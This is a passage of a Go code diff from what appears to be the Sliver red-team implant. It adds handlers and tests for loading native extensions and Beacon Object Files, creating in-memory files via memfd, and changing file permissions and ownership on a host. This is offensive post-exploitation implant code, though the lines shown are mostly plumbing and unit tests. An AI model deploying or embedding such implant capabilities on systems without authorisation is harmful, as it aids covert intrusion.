lstReq := &sliverpb.ListExtensionsReq{}
|
||||
if err := proto.Unmarshal(data, lstReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: extension.List(),
|
||||
}
|
||||
data, err := proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"slices"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type failingExtension struct {
|
||||
id string
|
||||
loadErr error
|
||||
}
|
||||
|
||||
type callbackLifetimeExtension struct {
|
||||
id string
|
||||
output []byte
|
||||
nativeOutput []byte
|
||||
callActive atomic.Bool
|
||||
callbackReturned chan struct{}
|
||||
allowCallReturn chan struct{}
|
||||
allowReturnOnce sync.Once
|
||||
}
|
||||
|
||||
func (f *failingExtension) Load() error {
|
||||
return f.loadErr
|
||||
}
|
||||
|
||||
func (f *failingExtension) Call(string, []byte, func([]byte)) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetID() string {
|
||||
return f.id
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Call(_ string, _ []byte, callback func([]byte)) error {
|
||||
e.callActive.Store(true)
|
||||
defer e.callActive.Store(false)
|
||||
|
||||
e.nativeOutput = append([]byte(nil), e.output...)
|
||||
callback(e.nativeOutput)
|
||||
for index := range e.nativeOutput {
|
||||
e.nativeOutput[index] = 0xa5
|
||||
}
|
||||
close(e.callbackReturned)
|
||||
<-e.allowCallReturn
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) allowReturn() {
|
||||
e.allowReturnOnce.Do(func() {
|
||||
close(e.allowCallReturn)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRegisterExtensionDoesNotAddFailedLoad(t *testing.T) {
|
||||
const extensionID = "handler-test-failed-load"
|
||||
wantErr := errors.New("load failed")
|
||||
request, err := proto.Marshal(&sliverpb.RegisterExtensionReq{Name: extensionID})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
var (
|
||||
responseData []byte
|
||||
responseErr error
|
||||
responses int
|
||||
)
|
||||
registerExtension(request, func(data []byte, err error) {
|
||||
responses++
|
||||
responseData = data
|
||||
responseErr = err
|
||||
}, func(_ []byte, id string, _, _ string) extension.Extension {
|
||||
return &failingExtension{id: id, loadErr: wantErr}
|
||||
})
|
||||
|
||||
if responseErr != nil {
|
||||
t.Fatalf("response callback returned error: %v", responseErr)
|
||||
}
|
||||
if responses != 1 {
|
||||
t.Fatalf("got %d responses, want 1", responses)
|
||||
}
|
||||
response := &sliverpb.RegisterExtension{}
|
||||
if err := proto.Unmarshal(responseData, response); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != wantErr.Error() {
|
||||
t.Fatalf("got response error %q, want %q", response.GetResponse().GetErr(), wantErr)
|
||||
}
|
||||
if slices.Contains(extension.List(), extensionID) {
|
||||
t.Fatalf("extension %q was registered after its load failed", extensionID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallExtensionHandlerDefersResponseAndCopiesCallbackOutput(t *testing.T) {
|
||||
const extensionID = "handler-test-callback-lifetime"
|
||||
wantOutput := []byte("native extension output")
|
||||
ext := &callbackLifetimeExtension{
|
||||
id: extensionID,
|
||||
output: wantOutput,
|
||||
callbackReturned: make(chan struct{}),
|
||||
allowCallReturn: make(chan struct{}),
|
||||
}
|
||||
extension.Add(ext)
|
||||
defer ext.allowReturn()
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CallExtensionReq{Name: extensionID, Export: "Run"})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
type handlerResponse struct {
|
||||
data []byte
|
||||
err error
|
||||
callActive bool
|
||||
}
|
||||
responses := make(chan handlerResponse, 2)
|
||||
handlerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(handlerDone)
|
||||
callExtensionHandler(request, func(data []byte, err error) {
|
||||
responses <- handlerResponse{
|
||||
data: append([]byte(nil), data...),
|
||||
err: err,
|
||||
callActive: ext.callActive.Load(),
|
||||
}
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-ext.callbackReturned:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("extension callback did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("RPC response was delivered before Extension.Call returned")
|
||||
default:
|
||||
}
|
||||
|
||||
ext.allowReturn()
|
||||
var response handlerResponse
|
||||
select {
|
||||
case response = <-responses:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not deliver a response")
|
||||
}
|
||||
if response.callActive {
|
||||
t.Fatal("RPC response was delivered while Extension.Call was active")
|
||||
}
|
||||
if response.err != nil {
|
||||
t.Fatalf("response callback returned error: %v", response.err)
|
||||
}
|
||||
|
||||
callResponse := &sliverpb.CallExtension{}
|
||||
if err := proto.Unmarshal(response.data, callResponse); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if !bytes.Equal(callResponse.Output, wantOutput) {
|
||||
t.Fatalf("response output = %q, want %q", callResponse.Output, wantOutput)
|
||||
}
|
||||
if bytes.Equal(ext.nativeOutput, wantOutput) {
|
||||
t.Fatal("fake native output was not poisoned after the callback")
|
||||
}
|
||||
|
||||
select {
|
||||
case <-handlerDone:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("callExtensionHandler delivered more than one response")
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallExtensionRoutesBOFDataToBuiltInExecutor(t *testing.T) {
|
||||
wantData := []byte("bof object")
|
||||
wantArgs := []byte{4, 0, 0, 0, 1, 2, 3, 4}
|
||||
wantOutput := []byte("partial BOF output")
|
||||
wantErr := errors.New("BOF execution failed")
|
||||
request, err := proto.Marshal(&sliverpb.CallExtensionReq{
|
||||
Name: "must-not-use-native-registry",
|
||||
Export: "CustomExport",
|
||||
Args: wantArgs,
|
||||
BOFData: wantData,
|
||||
IsBOF: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
var (
|
||||
responseData []byte
|
||||
responseErr error
|
||||
responses int
|
||||
)
|
||||
callExtension(request, func(data []byte, err error) {
|
||||
responses++
|
||||
responseData = data
|
||||
responseErr = err
|
||||
}, func(data []byte, entryPoint string, args []byte) ([]byte, error) {
|
||||
if !bytes.Equal(data, wantData) {
|
||||
t.Fatalf("BOF data = %q, want %q", data, wantData)
|
||||
}
|
||||
if entryPoint != "CustomExport" {
|
||||
t.Fatalf("entry point = %q, want CustomExport", entryPoint)
|
||||
}
|
||||
if !bytes.Equal(args, wantArgs) {
|
||||
t.Fatalf("args = %v, want %v", args, wantArgs)
|
||||
}
|
||||
return wantOutput, wantErr
|
||||
})
|
||||
|
||||
if responseErr != nil {
|
||||
t.Fatalf("response callback returned error: %v", responseErr)
|
||||
}
|
||||
if responses != 1 {
|
||||
t.Fatalf("got %d responses, want 1", responses)
|
||||
}
|
||||
response := &sliverpb.CallExtension{}
|
||||
if err := proto.Unmarshal(responseData, response); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if !bytes.Equal(response.Output, wantOutput) {
|
||||
t.Fatalf("output = %q, want %q", response.Output, wantOutput)
|
||||
}
|
||||
if response.GetResponse().GetErr() != wantErr.Error() {
|
||||
t.Fatalf("response error = %q, want %q", response.GetResponse().GetErr(), wantErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemHandlersIncludeExtensions(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{
|
||||
sliverpb.MsgRegisterExtensionReq,
|
||||
sliverpb.MsgCallExtensionReq,
|
||||
sliverpb.MsgListExtensionsReq,
|
||||
} {
|
||||
if handlers[messageType] == nil {
|
||||
t.Errorf("handler for message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestCdHandlerReportsChdirFailure(t *testing.T) {
|
||||
workingDirectory := t.TempDir()
|
||||
t.Chdir(workingDirectory)
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CdReq{Path: filepath.Join(workingDirectory, "missing")})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
cdHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("cdHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Pwd{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode cd response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() == "" {
|
||||
t.Fatal("cdHandler returned success for a missing directory")
|
||||
}
|
||||
if response.Path != workingDirectory {
|
||||
t.Fatalf("working directory changed: got %q, want %q", response.Path, workingDirectory)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("cdHandler did not invoke its response callback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractFilesTruncatesOverwrittenFile(t *testing.T) {
|
||||
destination := t.TempDir()
|
||||
archive := func(content string) []byte {
|
||||
t.Helper()
|
||||
buffer := bytes.NewBuffer(nil)
|
||||
writer := tar.NewWriter(buffer)
|
||||
header := &tar.Header{Name: "bundle/item.txt", Mode: 0o600, Size: int64(len(content)), Typeflag: tar.TypeReg}
|
||||
if err := writer.WriteHeader(header); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := writer.Write([]byte(content)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return buffer.Bytes()
|
||||
}
|
||||
|
||||
if written, skipped, err := extractFiles(archive("a deliberately long first payload\n"), destination, false); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("initial extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
if written, skipped, err := extractFiles(archive("short\n"), destination, true); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("overwrite extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(destination, "bundle", "item.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "short\n" {
|
||||
t.Fatalf("overwritten content = %q, want exact shorter payload", content)
|
||||
}
|
||||
}
|
||||
@@ -20,22 +20,20 @@ package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -76,6 +74,11 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
@@ -91,11 +94,12 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// Linux Only
|
||||
// Unix permissions
|
||||
sliverpb.MsgChmodReq: chmodHandler,
|
||||
sliverpb.MsgChownReq: chownHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
// Linux Only
|
||||
sliverpb.MsgMemfilesListReq: memfilesListHandler,
|
||||
sliverpb.MsgMemfilesAddReq: memfilesAddHandler,
|
||||
sliverpb.MsgMemfilesRmReq: memfilesRmHandler,
|
||||
@@ -107,6 +111,10 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewLinuxExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func dumpHandler(data []byte, resp RPCResponse) {
|
||||
procDumpReq := &sliverpb.ProcessDumpReq{}
|
||||
err := proto.Unmarshal(data, procDumpReq)
|
||||
@@ -251,34 +259,24 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func memfilesAddHandler(_ []byte, resp RPCResponse) {
|
||||
|
||||
var nrMemfdCreate int
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{}
|
||||
memfilesAdd.Response = &commonpb.Response{}
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{Response: &commonpb.Response{}}
|
||||
|
||||
memfdName := taskrunner.RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
memfilesAdd.Response.Err = err.Error()
|
||||
} else {
|
||||
nrMemfdCreate =
|
||||
319
|
||||
memfilesAdd.Fd = int64(fd)
|
||||
}
|
||||
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
fd_str := fmt.Sprintf("%d", fd)
|
||||
fd_int, _ := strconv.ParseInt(fd_str, 0, 64)
|
||||
memfilesAdd.Fd = fd_int
|
||||
|
||||
data, err := proto.Marshal(memfilesAdd)
|
||||
if err != nil && fd >= 0 {
|
||||
_ = unix.Close(fd)
|
||||
}
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
@@ -320,165 +318,3 @@ func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uid_str string
|
||||
var gid_str string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid_str = chownReq.Uid
|
||||
usr, err = user.Lookup(uid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid_str = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestMemfilesAddAndRemoveLifecycle(t *testing.T) {
|
||||
var addResponse *sliverpb.MemfilesAdd
|
||||
memfilesAddHandler(nil, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesAddHandler callback error: %v", handlerErr)
|
||||
}
|
||||
addResponse = &sliverpb.MemfilesAdd{}
|
||||
if err := proto.Unmarshal(data, addResponse); err != nil {
|
||||
t.Fatalf("decode add response: %v", err)
|
||||
}
|
||||
})
|
||||
if addResponse == nil {
|
||||
t.Fatal("memfilesAddHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := addResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesAddHandler returned error: %s", errText)
|
||||
}
|
||||
if addResponse.Fd < 3 {
|
||||
t.Fatalf("memfilesAddHandler returned invalid fd %d", addResponse.Fd)
|
||||
}
|
||||
fd := int(addResponse.Fd)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd)
|
||||
link, err := os.Readlink(fdPath)
|
||||
if err != nil {
|
||||
t.Fatalf("read memfd link: %v", err)
|
||||
}
|
||||
if !strings.Contains(link, "/memfd:") {
|
||||
t.Fatalf("fd link %q does not identify a memfd", link)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.MemfilesRmReq{Fd: addResponse.Fd})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var removeResponse *sliverpb.MemfilesRm
|
||||
memfilesRmHandler(request, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesRmHandler callback error: %v", handlerErr)
|
||||
}
|
||||
removeResponse = &sliverpb.MemfilesRm{}
|
||||
if err := proto.Unmarshal(data, removeResponse); err != nil {
|
||||
t.Fatalf("decode remove response: %v", err)
|
||||
}
|
||||
})
|
||||
if removeResponse == nil {
|
||||
t.Fatal("memfilesRmHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := removeResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesRmHandler returned error: %s", errText)
|
||||
}
|
||||
if _, err := os.Readlink(fdPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("memfd still accessible after removal: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestNetstatHandlerRespondsWithoutTCP(t *testing.T) {
|
||||
request, err := proto.Marshal(&sliverpb.NetstatReq{UDP: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
netstatHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("netstatHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Netstat{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode netstat response: %v", err)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("netstatHandler did not respond to a request without TCP")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uidStr string
|
||||
var gidStr string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uidStr = chownReq.Uid
|
||||
usr, err = user.Lookup(uidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gidStr = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
